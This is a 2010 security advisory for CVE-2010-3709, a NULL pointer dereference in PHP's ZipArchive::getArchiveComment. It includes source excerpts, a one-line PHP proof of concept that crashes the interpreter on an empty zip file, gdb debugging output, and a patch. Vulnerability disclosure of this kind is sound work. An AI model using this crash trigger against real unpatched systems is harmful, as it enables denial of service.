PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference

Published
Credit
Risk
2010.11.05
Maksymilian Arciemowicz
Low
CWE
CVE
Local
Remote
CWE-20
CVE-2010-3709
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

[ PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference ]

Author: Maksymilian Arciemowicz
http://cxib.net/
Date:
- Dis.: 14.09.2010
- Pub.: 05.11.2010

CVE: CVE-2010-3709
CWE: CWE-476
Status: Fixed in CVS

Affected Software:
- PHP 5.3.3
- PHP 5.2.14

--- 0.Description ---
ZipArchive enables you to transparently read or write ZIP compressed archives and the files inside them.

ZipArchive::getArchiveComment — Returns the Zip archive comment

string ZipArchive::getArchiveComment ( void )


--- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) ---
As we can see in

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?revision=303622&view=markup

---
1945 static ZIPARCHIVE_METHOD(getArchiveComment)
1946 {
1947 struct zip *intern;
1948 zval *this = getThis();
1949 long flags = 0;
1950 const char * comment;
1951 int comment_len = 0;
1952
1953 if (!this) {
1954 RETURN_FALSE;
1955 }
1956
1957 ZIP_FROM_OBJECT(intern, this);
1958
1959 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags) == FAILURE) {
1960 return;
1961 }
1962
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); <==== RETURN NULL AND -1
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL POINTER DEFERENCE HERE
1965 }
---

this method return string from zip_get_archive_comment() function. Now we need see this function,

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_archive_comment.c?revision=284361&view=markup

---
40 ZIP_EXTERN(const char *)
41 zip_get_archive_comment(struct zip *za, int *lenp, int flags)
42 {
43 if ((flags & ZIP_FL_UNCHANGED)
44 || (za->ch_comment_len == -1)) {
45 if (za->cdir) {
46 if (lenp != NULL)
47 *lenp = za->cdir->comment_len;
48 return za->cdir->comment;
49 }
50 else {
51 if (lenp != NULL)
52 *lenp = -1; <===================== -1
53 return NULL; <==================== NULL
54 }
55 }
56
57 if (lenp != NULL)
58 *lenp = za->ch_comment_len;
59 return za->ch_comment;
60 }
---


line 52 and 53 should return NULL pointer and (int)-1. In result RETURN_STRINGL() will be executed with:

RETURN_STRINGL(NULL, -1, 1);

and crash in memcpy(3).


--- 2. PoC ---

cx@cx64:/www$ touch empty.zip
cx@cx64:/www$ php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Segmentation fault

Debug:
cx@cx64:/www$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Starting program: /usr/bin/php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from /lib/libc.so.6
(gdb) bt
#0 0x00007ffff530edbb in memcpy () from /lib/libc.so.6
#1 0x0000000000679fa8 in _estrndup ()
#2 0x00000000006371e5 in ?? ()
#3 0x00000000006e793a in ?? ()
#4 0x00000000006bec20 in execute ()
#5 0x000000000068b44a in zend_eval_stringl ()
#6 0x000000000068b5c9 in zend_eval_stringl_ex ()
#7 0x000000000072743e in ?? ()
#8 0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6
#9 0x000000000042c6a9 in _start ()
(gdb) x/i $rip
=> 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi)
(gdb) x/x $rsi
0x0: Cannot access memory at address 0x0
(gdb) x/x $rbp
0xffffffff: Cannot access memory at address 0xffffffff


--- 3. Fix ---
Fix:
Replace
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1);

to

1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 if(comment==NULL) RETURN_FALSE;
1965 RETURN_STRINGL((char *)comment, (long)comment_len, 1);

PHP 5.3:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log

PHP 5.2:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?view=log

MDVSA-2010:218


--- 4. Greets ---
Special thanks for Pierre Joye

--- 5. Contact ---
Author: Maksymilian Arciemowicz

References:

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?view=log
http://www.mandriva.com/en/security/advisories?name=MDVSA-2010:218
http://www.redhat.com/support/errata/RHSA-2011-0195.html
http://support.apple.com/kb/HT4581
http://slackware.com/security/viewer.php?l=slackware-security&y=2010&m=slackware-security.490619
http://www.ubuntu.com/usn/USN-1042-1
http://lists.apple.com/archives/security-announce/2011/Mar/msg00006.html


See this note in RAW Version

 
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